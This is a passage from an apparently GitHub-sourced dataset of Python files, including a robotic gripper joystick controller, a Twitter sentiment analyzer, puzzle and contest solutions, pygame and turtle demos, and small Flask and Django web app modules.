my_lock:\n                joy_moved = False\n                my_logger.info('Reflex - Resetting joy_moved to {}'.format(joy_moved))\n\n\n        counter += 1\n        last_reflex_time = present_time\n    my_logger.info('Exit Reflex thread')\n\nif __name__ == '__main__':\n\n    # Set up a logger with output level set to debug; Add the handler to the logger\n    my_logger = logging.getLogger(\"My_Logger\")\n    my_logger.setLevel(LOG_LEVEL)\n    handler = logging.handlers.RotatingFileHandler(LOG_FILENAME, maxBytes=6000000, backupCount=5)\n    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n    handler.setFormatter(formatter)\n    my_logger.addHandler(handler)\n    # end of logfile preparation Log levels are debug, info, warn, error, critical\n\n    #Create Palm object\n    palm = reflex.reflex_sf() # Reflex object ready\n    my_logger.info('Reflex_SF object created')\n\n    calibrate = False\n    for i in range(1,5,1):\n        lowest_position = palm.finger[i][\"lower_limit\"]\n        highest_position = palm.finger[i][\"upper_limit\"]\n        init_position = palm.finger[i][\"initial_position\"]\n        gp_servo[i] = init_position\n        previous_gp[i] = init_position\n\n        my_logger.info('--- Finger {}:'.format(i))\n        my_logger.info('       Lower Limit Position --- {}'.format(lowest_position))\n        my_logger.info('       Upper Limit Position --- {}'.format(highest_position))\n        my_logger.info('       Initial Position {}'.format(init_position))\n\n        if (i == 1 or i == 3):\n            a = lowest_position - POS_ERROR\n            b= highest_position + POS_ERROR\n            if a >= init_position or init_position >= b:\n                my_logger.info('Servo {} Initial Position {} not between Lower Limit {} and Upper Limit {}'\\\n                               .format(i,init_position,lowest_position,highest_position))\n                print('Servo {} Initial Position {} not between Lower Limit {} and Upper Limit {}'.format(\\\n                    i,init_position,lowest_position,highest_position))\n\n        elif (i == 2):\n            a = lowest_position + POS_ERROR\n            b = highest_position - POS_ERROR\n            if a <= init_position or init_position <= b:\n                my_logger.info('Servo {} Initial Position {} not between Lower Limit {} and Upper Limit {}'\\\n                               .format(i,init_position,lowest_position,highest_position))\n                print('Servo {} Initial Position {} not between Lower Limit {} and Upper Limit {}'.format(\\\n                    i,init_position,lowest_position,highest_position))\n\n        # calibration is a must after every start.\n\n    pygame.init()\n    # Set the width and height of the screen [width,height]\n    size = [500, 700]\n    screen = pygame.display.set_mode(size)\n    pygame.display.set_caption(\"Reflex_SF JoyStick Movements\")\n\n    # Used to manage how fast the screen updates\n    clock = pygame.time.Clock()\n\n    # for print in Pygame screen object\n    textPrint = sp.TextPrint()\n\n    # Joystick Values\n    my_joy = js.ExtremeProJoystick()\n    my_controller = reflex.joy_reflex_controller(my_joy,palm)\n\n    # Event to pause the thread\n    e2 = threading.Event()\n    e2.set()    #Flag is set to allow the thread move_reflex_to_goal_positions to run\n\n\n\n    while (calibrate == False):\n        for event in pygame.event.get():\n            if event.type == pygame.JOYBUTTONDOWN:\n                button = my_joy.get_button_pressed(event)\n                my_logger.info(\"Button {} pressed\".format(button))\n                if button in (2,3,6,7,8,9,10,11):\n                    my_controller.set_button_press(button)\n                elif button == 1:   #silver button on the right facing the buttons\n                    gp_servo = my_controller.update_calibrate()\n                    previous_gp = gp_servo\n                    calibrate = True\n                else:\n                    my_logger.info(\"Button {} press ignored before calibration\".format(button))\n            elif event.type == pygame.JOYBUTTONUP:\n                button = my_joy.get_button_released(event)\n                my_logger.info(\"Button {} Released\".format(button))\n                if button in (2,3,6,7,8,9,10,11):\n                    my_controller.set_button_release(button)\n                else:\n                    my_logger.info(\"Button {} press ignored before calibration\".format(button))\n            else:\n                pass # ignoring other non-logitech joystick event types\n\n\n    # preparing the two threads that will run\n    get_goal_position_thread = threading.Thread(target = update_joy_displacement,args=(my_joy,palm,e2))\n    set_goal_position_thread = threading.Thread(target = move_reflex_to_goal_positions, args=(palm,e2))\n\n\n    get_goal_position_thread.start()\n    set_goal_position_thread.start()\n\n\n\n    # The main loop that examines for other UI actions including Joy button/HatLoop until the user clicks the close button.\n    done = False\n\n    while (done == False):\n        screen.fill(WHITE)\n        textPrint.reset()\n\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                done = True\n                stop_joy_loop()\n                stop_reflex_loop()\n            elif event.type == pygame.JOYBUTTONDOWN:\n                button = my_joy.get_button_pressed(event)\n                my_logger.info(\"Button {} pressed\".format(button))\n                if (button == 1):\n                    e2.clear()\n                    time.sleep(1)\n                    palm.move_to_rest_position()\n                    gp_servo = palm.read_palm_servo_positions()\n                    my_logger.info(\"Finger Rest Positions {}\".format(gp_servo))\n                    time.sleep(1)\n                    my_logger.info(\"Setting Event Flag\")\n                    e2.set()\n                else:\n                    my_controller.set_button_press(button)\n\n            elif event.type == pygame.JOYBUTTONUP:\n                button = my_joy.get_button_released(event)\n                my_logger.info(\"Button {} Released\".format(button))\n                my_controller.set_button_release(button)\n            elif event.type == pygame.JOYHATMOTION:\n                my_logger.info(\"Hat movement - {}\".format(my_joy.get_hat_movement(event)))\n                pass\n            elif event.type == pygame.JOYAXISMOTION:\n                pass\n            else:\n                pass # ignoring other non-logitech joystick event types\n\n\n\n\n\n        # The code below is to test the measurement of Axes displacement in the Joystick and should be removed\n        '''\n        Num_Axes = my_joy.axes\n        for k in range(0,Num_Axes,1):\n            d = my_joy.get_axis_displacement_and_grip(k)\n            #my_logger.info(\"Axis No.: {} Move: {} Displacement: {} Grip: {}\".format(k,d[0],d[1],d[2]))\n            if d[0] == 1:\n                palm.grip_fingers(d[1],d[2])\n            elif d[0] == 2:\n                palm.space_finger1_and_finger2(d[1],d[2])\n        '''\n        # end of test code for the measurement of Axes displacement in the Joystick\n\n        textPrint.Screenprint(screen, \"When ready to Quit, close the screen\")\n        textPrint.Yspace()\n\n        # ALL CODE TO DRAW SHOULD GO ABOVE THIS COMMENT\n        # Go ahead and update the screen with what we've drawn.\n        pygame.display.flip()\n\n        # Limit to 20 frames per second OR 50 ms scan rate - 1000/20 = 50 ms Both display and checking of Joystick;\n        clock.tick(SCAN_RATE)\n","repo_name":"srkiyengar/Gripper","sub_path":"src/gripper.py","file_name":"gripper.py","file_ext":"py","file_size_in_byte":13445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24544723057","text":"from tweepy import API\r\nfrom tweepy import Cursor\r\nfrom tweepy.streaming import StreamListener\r\nfrom tweepy import OAuthHandler\r\nfrom tweepy import Stream\r\nfrom textblob import TextBlob\r\n\r\nimport credentials\r\nimport numpy as np\r\nimport pandas as pd\r\nimport re\r\nimport matplotlib.pyplot as plt\r\n\r\n# Client for Twitter\r\n\r\n\r\nclass TwitterClient():\r\n    def __init__(self, twitter_user=None):\r\n        self.auth = TwitterAuthenticator().authenticate_twitter_app()\r\n        self.twitter_client = API(self.auth)\r\n\r\n        self.twitter_user = twitter_user\r\n\r\n    def get_twitter_client_api(self):\r\n        return self.twitter_client\r\n\r\n    def get_user_timeline_tweets(self, num_tweets):\r\n        tweets = []\r\n        for tweet in Cursor(self.twitter_client.user_timeline, id=self.twitter_user).items(num_tweets):\r\n            tweets.append(tweet)\r\n        return tweets\r\n\r\n    def get_friend_list(self, num_friends):\r\n        friend_list = []\r\n        for friend in Cursor(self.twitter_client.friends, id=self.twitter_user).items(num_friends):\r\n            friend_list.append(friend)\r\n        return friend_list\r\n\r\n    def get_home_timeline_tweets(self, num_tweets):\r\n        home_timeline_tweets = []\r\n        for tweet in Cursor(self.twitter_client.home_timeline, id=self.twitter_user).items(num_tweets):\r\n            home_timeline_tweets.append(tweet)\r\n        return home_timeline_tweets\r\n\r\n\r\n# Authentication for twitter, using the credentials file\r\nclass TwitterAuthenticator():\r\n\r\n    def authenticate_twitter_app(self):\r\n        auth = OAuthHandler(credentials.CONSUMER_KEY,\r\n                            credentials.CONSUMER_SECRET)\r\n        auth.set_access_token(credentials.ACCESS_TOKEN,\r\n                              credentials.ACCESS_TOKEN_SECRET)\r\n        return auth\r\n\r\n# Streamer of tweets\r\n\r\n\r\nclass TwitterStreamer():\r\n    \"\"\"\r\n    Class for streaming and processing live tweets.\r\n    \"\"\"\r\n\r\n    def __init__(self):\r\n        self.twitter_autenticator = TwitterAuthenticator()\r\n\r\n    def stream_tweets(self, fetched_tweets_filename, hash_tag_list):\r\n        # This handles Twitter authetification and the connection to Twitter Streaming API\r\n        listener = TwitterListener(fetched_tweets_filename)\r\n        auth = self.twitter_autenticator.authenticate_twitter_app()\r\n        stream = Stream(auth, listener)\r\n\r\n        # This line filter Twitter Streams to capture data by the keywords:\r\n        stream.filter(track=hash_tag_list)\r\n\r\n\r\n# Listening class for twitter stream class above\r\n\r\nclass TwitterListener(StreamListener):\r\n    \"\"\"\r\n    This is a basic listener that just prints received tweets to stdout.\r\n    \"\"\"\r\n\r\n    def __init__(self, fetched_tweets_filename):\r\n        self.fetched_tweets_filename = fetched_tweets_filename\r\n\r\n    def on_data(self, data):\r\n        try:\r\n            print(data)\r\n            with open(self.fetched_tweets_filename, 'a') as tf:\r\n                tf.write(data)\r\n            return True\r\n        except BaseException as e:\r\n            print(\"Error on_data %s\" % str(e))\r\n        return True\r\n\r\n    def on_error(self, status):\r\n        if status == 420:\r\n            # Returning False on_data method in case rate limit occurs.\r\n            return False\r\n        print(status)\r\n\r\n\r\nclass TweetAnalyzer():\r\n    \"\"\"\r\n    Functionality for analyzing and categorizing the different tweet content\r\n    \"\"\"\r\n    # Removes special characters in the tweets, as well as hyperlink\r\n\r\n    def clean_tweet(self, tweet):\r\n        return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \" \", tweet).split())\r\n\r\n    # Handles sentimentality analysis.\r\n    def analyze_sentiment(self, tweet):\r\n        analysis = TextBlob(self.clean_tweet(tweet))\r\n\r\n        if analysis.sentiment.polarity > 0:\r\n            return 1\r\n        elif analysis.sentiment.polarity == 0:\r\n            return 0\r\n        else:\r\n            return -1\r\n\r\n    def tweets_to_data_frame(self, tweets):\r\n        df = pd.DataFrame(\r\n            data=[tweet.text for tweet in tweets], columns=['tweets'])\r\n\r\n        df['id'] = np.array([tweet.id for tweet in tweets])  # ID of the tweet\r\n        # Length of the tweet, note it uses tweet.text from line 126\r\n        df['len'] = np.array([len(tweet.text) for tweet in tweets])\r\n        # Date of the tweet\r\n        df['date'] = np.array([tweet.created_at for tweet in tweets])\r\n        # Source the tweet was posted from (Posted from an iPhone etc.)\r\n        df['source'] = np.array([tweet.source for tweet in tweets])\r\n        # Number of likes for a tweet\r\n        df['likes'] = np.array([tweet.favorite_count for tweet in tweets])\r\n        # Amount of retweets that tweet has received\r\n        df['retweets'] = np.array([tweet.retweet_count for tweet in tweets])\r\n        return df\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    twitter_client = TwitterClient()\r\n    api = twitter_client.get_twitter_client_api()\r\n    tweet_analyzer = TweetAnalyzer()\r\n\r\n    # Screen_name is twitter user handle, count is the number of tweets to cycle through\r\n    tweets = api.user_timeline(screen_name=\"realDonaldTrump\", count=100)\r\n\r\n    # DF is dataframe, this function prints the information fed into the dataframe with an indicator of sentimental charge\r\n    df = tweet_analyzer.tweets_to_data_frame(tweets)\r\n    df['sentiment'] = np.array(\r\n        [tweet_analyzer.analyze_sentiment(tweet) for tweet in df['tweets']])\r\n    print(df.head(50))\r\n","repo_name":"vegart13/Sentimental-analysis-of-tweets-using-twitter-API","sub_path":"Sentiment.py","file_name":"Sentiment.py","file_ext":"py","file_size_in_byte":5402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26879895824","text":"from collections import deque\n\n\nclass Solution:\n    def isSubsequence_greedy(self, s: str, t: str) -> bool:\n        # Greedy solution\n        if len(s) > len(t):\n            return False\n        if len(s) == 0:\n            return True\n        s_idx = 0\n        for char in t:\n            if char == s[s_idx]:\n                s_idx += 1\n            if s_idx == len(s):\n                return True\n\n        return False\n\n\n\"\"\"\nRuntime: O(s+t)\nSpace: O(1)\n\nRuntime: 188 ms, faster than 51.04% of Python3 online submissions for Is Subsequence.\nMemory Usage: 17.3 MB, less than 26.67% of Python3 online submissions for Is Subsequence.\n\"\"\"\n","repo_name":"SamSamhuns/wallbreakers_projekts","sub_path":"Leetcode/week_3/p0392_is_subsequence.py","file_name":"p0392_is_subsequence.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"23980568090","text":"from flask import Blueprint, jsonify, request\nimport json\nfrom ..models import db, User\n\nreport_routes = Blueprint('reports', __name__)\n\n\n@report_routes.route('/surfspotslist', methods=['POST'])\ndef list():\n    surf_spots_list = request.json.get('result', None)\n    print(surf_spots_list)\n    with open('data.txt', 'w') as outfile:\n        outfile.write(str(surf_spots_list))\n    return {'response': 'ok'}\n","repo_name":"jonyalmeida/Oahu-Surf-Flask-React-Redux-Surf-Report","sub_path":"app/api/report_routes.py","file_name":"report_routes.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"2325828621","text":"import turtle as t\r\nt.speed(10000000)\r\ndef spiral(k,n):\r\n    a = 0\r\n    for i in range(n*360):\r\n        t.fd(k*((1+a**2)**0.5))\r\n        t.lt(1)\r\n        a+=1\r\nspiral(0.001,2)\r\n \r\n","repo_name":"ytiolllok/Yuri_b02-011_lab2","sub_path":"turtle7.py","file_name":"turtle7.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"32043135716","text":"import pygame\nimport numpy as np\nimport time\n\n# 初始化Pygame\npygame.init()\n\n# 设置画布大小\nscreen = pygame.display.set_mode((1440, 800))\n\n# 设置细胞大小\ncell_size = 5\ncols, rows = int(screen.get_width() / cell_size), int(screen.get_height() / cell_size)\n\n# 创建一个二维数组来表示细胞的状态，0表示死亡，1表示存活\nboard = np.zeros((rows, cols))\n\n# 随机初始化细胞状态\nfor r in range(rows):\n    for c in range(cols):\n        board[r][c] = np.random.randint(2)\n\n# 设置游戏循环\nwhile True:\n    # 绘制细胞状态\n    for r in range(rows):\n        for c in range(cols):\n            color = (255, 255, 255) if board[r][c] == 0 else (0, 0, 0)\n            pygame.draw.rect(screen, color, (c * cell_size, r * cell_size, cell_size, cell_size))\n\n    # 复制细胞状态，计算下一步状态\n    next_board = np.copy(board)\n    for r in range(rows):\n        for c in range(cols):\n            # 统计周围存活细胞的数量\n            neighbors = (\n                board[(r - 1) % rows][(c - 1) % cols] + board[(r - 1) % rows][c] + board[(r - 1) % rows][(c + 1) % cols] +\n                board[r][(c - 1) % cols] + board[r][(c + 1) % cols] +\n                board[(r + 1) % rows][(c - 1) % cols] + board[(r + 1) % rows][c] + board[(r + 1) % rows][(c + 1) % cols]\n            )\n            # 应用规则\n            if board[r][c] == 1 and (neighbors < 2 or neighbors > 3):\n                next_board[r][c] = 0\n            elif board[r][c] == 0 and neighbors == 3:\n                next_board[r][c] = 1\n\n    # 更新细胞状态\n    board = next_board\n\n    # 处理事件\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            pygame.quit()\n            quit()\n\n    # 刷新画面\n    pygame.display.update()\n    time.sleep(0.5)","repo_name":"maowood/FasterGameOfLife.py","sub_path":"game_of_life.py","file_name":"game_of_life.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38346927448","text":"#!/usr/bin/env python3\n\nimport re\n\n# Next turn defines...\nLEFT = \"left\"\nSTRT = \"straight\"\nRIGH = \"right\"\n\ndef next_turn_dir(cur_turn_dir):\n    move = {LEFT: STRT, STRT: RIGH, RIGH: LEFT}\n    return move[cur_turn_dir]\n\ndef find_carts(trackmap):\n    for y in range(len(trackmap)):\n        for x in range(len(trackmap[0])):\n            if trackmap[y][x] in [\"<\", \"v\", \"^\", \">\"]:\n                yield (x,y,trackmap[y][x], LEFT)\n\ndef patch_map(trackmap, x, y):\n    if (x, y) == (0,0) or (x+1, y+1) == (len(trackmap[0]), len(trackmap)):\n        return \"/\"\n    if (x, y+1) == (0,len(trackmap)) or (x+1, y) == (len(trackmap[0]), 0):\n        return \"\\\\\"\n    if x-1 < 0 or x+1 >= len(trackmap[0]):\n        return \"|\"\n    if y-1 < 0 or y+1 >= len(trackmap):\n        return \"-\"\n    surround_coords = [(x-1, y), (x+1, y), (x, y-1), (x, y+1)]\n    surroundings = \"\".join(trackmap[y][x] for (x,y) in surround_coords)\n    if re.match(\"..[ -][ -]\", surroundings):\n        return \"-\"\n    elif re.match(\"[| ][| ]..\", surroundings):\n        return \"|\"\n    elif re.match(\"[^ ][^ ][^ ][^ ]\", surroundings):\n        return \"+\"\n    else:\n        raise RuntimeError(\"Patchmap fail {} {}\".format(surroundings, (x,y)))\n\ndef print_map(trackmap, carts):\n    cart_dict = {(x,y): orient for (x,y,orient,_) in carts}\n    for y in range(len(trackmap)):\n        for x in range(len(trackmap[0])):\n            if (x,y) in cart_dict:\n                print(cart_dict[(x,y)], end=\"\")\n            else:\n                print(trackmap[y][x], end=\"\")\n\ndef move_cart(trackmap, cart):\n    x, y, orient, nextturn = cart\n    orientlookup = {\"<\": (-1, 0), \">\": (1, 0), \"^\": (0, -1), \"v\": (0, 1)}\n    orientdirx, orientdiry = orientlookup[orient]\n    newx, newy = orientdirx + x, orientdiry + y\n\n    # See if we need to turn and do the turn\n    neworient = orient\n    newnextturn = nextturn\n    if trackmap[newy][newx] == \"\\\\\":\n        swap = {\"<\": \"^\", \">\": \"v\", \"^\": \"<\", \"v\": \">\"}\n        neworient = swap[orient]\n    elif trackmap[newy][newx] == \"/\":\n        swap = {\"<\": \"v\", \">\": \"^\", \"^\": \">\", \"v\": \"<\"}\n        neworient = swap[orient]\n    elif trackmap[newy][newx] == \"+\":\n        newnextturn = next_turn_dir(nextturn)\n        if nextturn == LEFT:\n            swap = {\"<\": \"v\", \">\": \"^\", \"^\": \"<\", \"v\": \">\"}\n            neworient = swap[orient]\n        elif nextturn == RIGH:\n            swap = {\"<\": \"^\", \">\": \"v\", \"^\": \">\", \"v\": \"<\"}\n            neworient = swap[orient]\n        elif nextturn == STRT:\n            pass\n        else:\n            raise RuntimeError(\"Bad nextturn {}\".format(nextturn))\n    return (newx, newy, neworient, newnextturn)\n\n\ndef move_carts(trackmap, carts):\n    # Sort with earlier ys in preference to xs, but then by xs\n    carts_sorted = sorted(carts, key=lambda x:(x[1],x[0]))\n    new_carts = list()\n    to_skip = list()\n    for ind, cart in enumerate(carts_sorted):\n        if cart in to_skip:\n            continue\n        new_cart = move_cart(trackmap, cart)\n\n        crashed = False\n        for check in carts_sorted[ind+1:]:\n            if check in to_skip:\n                continue\n            if (check[0],check[1]) == (new_cart[0],new_cart[1]):\n                crashed = True\n                to_skip.append(check)\n                print(\"crash {} rem {}\".format((check[0],check[1]), len(carts_sorted)))\n        if crashed:\n            continue\n\n        for check in new_carts:\n            if (check[0],check[1]) == (new_cart[0],new_cart[1]):\n                crashed = True\n                new_carts.remove(check)\n                print(\"crash {} rem {}\".format((check[0],check[1]), len(carts_sorted)))\n        if not crashed:\n            new_carts.append(new_cart)\n    \n    return new_carts\n\n    new_carts = [move_cart(trackmap, cart) for cart in carts_sorted]\n    cart_set = set()\n    # Find colisions\n    for (x,y, _, _) in new_carts:\n        if (x,y) in cart_set:\n            new_carts = [new_cart for new_cart in new_carts \n                    if (new_cart[0], new_cart[1]) != (x,y)]\n            print(\"crash {} rem {}\".format((x,y), len(new_carts)))\n        else:\n            cart_set.add((x,y))\n    return new_carts\n\n\nif __name__ == \"__main__\":\n    with open(\"input day 13.txt\") as f:\n        lines = [line for line in f]\n    trackmap = [list(line) for line in lines]\n\n    carts = [cart for cart in find_carts(trackmap)]\n    for x, y, _, _ in carts:\n        trackmap[y][x] = patch_map(trackmap, x, y)\n    print_map(trackmap, [])\n    print(carts)\n\n    while len(carts) > 1:\n        carts = move_carts(trackmap, carts)\n\n    print(carts)\n\n    #print_map(trackmap, carts)\n","repo_name":"kc0bfv/AdventOfCode","sub_path":"2018/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"75145846186","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\n\nfrom .models import CameraModel\n\n# Create your views here.\nfrom cam_registry.forms import CameraModelForm\n\n# View to register a camera\n@login_required(login_url='/accounts/login')\ndef register_cam(request):\n    if request.method == \"POST\":\n        form_fields = CameraModelForm(request.POST)\n        if form_fields.is_valid():\n            model_instance = form_fields.save(commit=False)\n            model_instance.registered_by = request.user\n            model_instance.save()\n            return redirect(reverse('cam_registry_list'))\n        else:\n            context = {\n                'form_fields': form_fields,\n                'error_message': None\n            }\n    else:\n        context = {\n            'form_fields': CameraModelForm(),\n            'error_message': None\n        }\n\n    return render(request, 'camera_registry/insert.html', context=context)\n\n\ndef list_cam(request):\n    cam_list = CameraModel.objects.all()\n    return render(request, 'camera_registry/list.html', context= {'cam_list': cam_list})\n\n","repo_name":"Gobind03/video-analytics-opencv","sub_path":"cam_registry/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3774151679","text":"def get_sum(num, line1):\n    w = len(line1)\n    line = line1[:]\n    for i in range(w):\n        if num <= 0:\n            break\n        temp = min(line[i], num)\n        line[i] = line[i] - temp\n        num = num - temp\n    # print(line)\n    if num > 0:\n        return 0\n    sum1 = sum(line)\n    aux = [0 for x in range(w)]\n    for i in range(w):\n        aux[i] = line[i]*(sum1 - line[i])\n    sum2 = sum(aux)\n    # print(sum2)\n    sum2 //= 2\n    sum3 = 0\n    for i in range(w):\n        sum3 += line[i]*(sum2 - aux[i])\n    # print(sum3)\n    sum3 //= 3\n    return sum3\n\n\ntCases = int(input())\nfor _ in range(tCases):\n    n, c, k = map(int, input().split())\n    colours = {}\n    lines = [[]]\n    # mat = [0]\n    for i in range(n):\n        a, b, color = map(int, input().split())\n        if color in colours:\n            if a in colours[color]:\n                colours[color][a] += 1\n            else:\n                colours[color].update({a: 1})\n        else:\n            colours.update({color: {a: 1}})\n    V = [0]\n    V[1:] = list(map(int, input().split()))\n    for i in range(1, c+1):\n        lines_set = []\n        if i in colours:\n            # print(colours[i])\n            for key, val in colours[i].items():\n                lines_set.append(val)\n            # lines_set.sort()\n            lines.append(lines_set)\n\n    sumLine = [[-1000000000 for i in range(c + 1)] for j in range(k + 1)]\n    fMat = [[1000000000000000 for i in range(c+1)] for j in range(k+1)]\n\n    count = 0\n    for i in range(0, k+1):\n        fMat[i][0] = 0\n    for i in range(k+1):\n        for j in range(1, c+1):\n            remLine = i//V[j]\n            for p in range(remLine+1):\n                r = p*V[j]\n                # mat.append(r)\n                if sumLine[p][j] == -1000000000:\n                    count += 1\n                    sumLine[p][j] = get_sum(p, lines[j])\n                fMat[i][j] = min(fMat[i][j], fMat[i-r][j-1] + sumLine[p][j])\n    # for i in range(k+1):\n    #     for j in range(c):\n    #         remLine = i // V[j+1]\n    #         for p in range(remLine):\n    #             r = p * V[j+1]\n    #             fMat[i][j+1] = min(fMat[i][j+1], fMat[i-r][j-1+1] + sumLine[p+1][j+1])\n    ans = fMat[k][c]\n    print(ans)\n","repo_name":"amit-kr-debug/CP","sub_path":"CodeChef/august long challenge - 2020/Insanely Hard School Exams - ACCBIP.py","file_name":"Insanely Hard School Exams - ACCBIP.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"9796763092","text":"import random\nimport datetime\nimport re\nfrom random import randrange\nlog_File = open(\"log.txt\", \"w\")\nlist_ERROR, list_WARNING, list_INFO, list_DEBUG, list_CRITICAL = ([] for i in range(5))\n\nrandom_list = [\"ERROR\", \"WARNING\", \"INFO\", \"DEBUG\", \"CRITICAL\"]\n\ndef random_date(start , l):\n   current = start\n   while l >= 0:\n      curr = current + datetime.timedelta(minutes=randrange(60))\n      yield curr\n      l-=1\n\nstartDate = datetime.datetime(2019, 5, 20, 13, 00)\n\nfor x in random_date(startDate, 29):\n  log_File.writelines(random.choice(random_list) + \" :  \" + str(random.randint(120, 130)) + '  ' + x.strftime(\"%d %B %Y %H:%M\") + '\\n')\nlog_File.close()\n\nlog_File = open(\"log.txt\", \"r\")\ncount1 = 0\ntemp_dict = {}\n\nfor line in log_File:\n    words = line.split()\n    for word in words:\n        if random_list[0] == word:\n            list_ERROR.append(line)\n        elif random_list[1] == word:\n            list_WARNING.append(line)\n        elif random_list[2] == word:\n            list_INFO.append(line)\n        elif random_list[3] == word:\n            list_DEBUG.append(line)\n        elif random_list[4] == word:\n            list_CRITICAL.append(line)\n\ndef getDuplicatesWithCount(list_all: []):\n    empty_list=[]\n    dictOfElems = dict()\n    for elements in list_all:\n        words_list = elements.split()\n        for word1 in words_list:\n            for k in re.findall(r'(?<!\\d)\\d{3}(?!\\d)', word1):\n                empty_list.append(k)\n    print(empty_list)\n    for i in empty_list:\n        if i in dictOfElems:\n            dictOfElems[i] += 1\n        else:\n            dictOfElems[i] = 1\n    pr = 1\n    global summation\n    summation = 0\n    for key, value in dictOfElems.items():\n         pr = int(key) * value\n         summation += pr\n    return dictOfElems\n\nprint(\"{} occurs {} time\".format(random_list[0], len(list_ERROR)))\n\nerror_dic = getDuplicatesWithCount(list_ERROR)\nfor key, value in error_dic.items():\n    print(\"ERROR CODE\", key, ': occurs', value, \"times.\")\nprint(\"ERROR Codes summation:\", summation, '\\n')\n\nprint(\"{} occurs {} time\".format(random_list[1], len(list_WARNING)))\nwarning_dic = getDuplicatesWithCount(list_WARNING)\nfor key, value in warning_dic.items():\n    print(\"WARNING CODE\", key, ': occurs', value, \"times.\")\nprint(\"WARNING Codes summation:\", summation, '\\n')\n\nprint(\"{} occurs {} time\".format(random_list[2], len(list_INFO)))\ninfo_dic = getDuplicatesWithCount(list_INFO)\nfor key, value in info_dic.items():\n    print(\"INFO CODE\", key, ': occurs', value, \"times.\")\nprint(\"INFO Codes summation:\", summation, '\\n')\n\nprint(\"{} occurs {} time\".format(random_list[3], len(list_DEBUG)))\ndebug_dic = getDuplicatesWithCount(list_DEBUG)\nfor key, value in debug_dic.items():\n    print(\"DEBUG CODE\", key, ': occurs', value, \"times.\")\nprint(\"DEBUG Codes summation:\", summation, '\\n')\n\nprint(\"{} occurs {} time\".format(random_list[4], len(list_CRITICAL)))\ncritical_dic = getDuplicatesWithCount(list_CRITICAL)\nfor key, value in critical_dic.items():\n    print(\"CRITICAL CODE\", key, ': occurs', value, \"times.\")\nprint(\"CRITICAL Codes summation:\", summation, '\\n')\n\nlog_File.close()","repo_name":"Sayali1993/Central_Repository","sub_path":"Assignment_3.py","file_name":"Assignment_3.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9727664968","text":"from flask import g\nfrom flask_restful import Resource, reqparse, fields, marshal_with\nfrom models.projects import Project\nfrom models.users import User\n\ndb = g.db\n\nresponse_fields = {\n    \"id\": fields.String,\n    \"user_id\": fields.String,\n    \"name\": fields.String,\n    \"message\": fields.String,\n}\n\n\ndef init_args(fields):\n    parser = reqparse.RequestParser()\n\n    for field in fields:\n        parser.add_argument(field)\n\n    args = parser.parse_args()\n    return args\n\n\nclass Projects(Resource):\n    @marshal_with(response_fields)\n    def get(self, user_id, id=None):\n        if not id:\n            projects = Project.query.filter_by(user_id=user_id).all()\n            return projects, 200, {}\n\n        project = Project.query.filter_by(user_id=user_id, id=id).first()\n\n        return project, 200, {}\n\n    @marshal_with(response_fields)\n    def post(self, user_id):\n        fields = (\"name\", \"length_overall\", \"length_perpendiculars\", \"breadth\", \"draft\")\n        args = init_args(fields)\n\n        user = User.query.filter_by(id=user_id).first()\n\n        if not user:\n            response = {\"message\": \"Usuário não existe\"}\n\n            return response, 400, {}\n\n        name = Project.query.filter_by(name=args.name).first()\n\n        if name:\n            response = {\"message\": \"Ja existe um projeto com esse nome\"}\n\n            return response, 409, {}\n\n        new_project = Project(**args, user_id=user_id)\n\n        db.session.add(new_project)\n        db.session.commit()\n\n        return new_project, 201, {}","repo_name":"DenisNasc/tcc-denis-backend","sub_path":"routes/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13059289079","text":"from django.urls import path\nfrom .views import BlacklistTokenView, CustomUserCreate, UserDetail\n\napp_name = 'loginapp'\n\nurlpatterns = [\n    path('register/', CustomUserCreate.as_view(), name=\"create_user\"),\n    path('logout/blacklist/', BlacklistTokenView.as_view(), name='blacklist'),\n    path('auth-detail/', UserDetail.as_view(), name='user_detail')\n]","repo_name":"anthony-nagtalon/triadtracker","sub_path":"loginapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
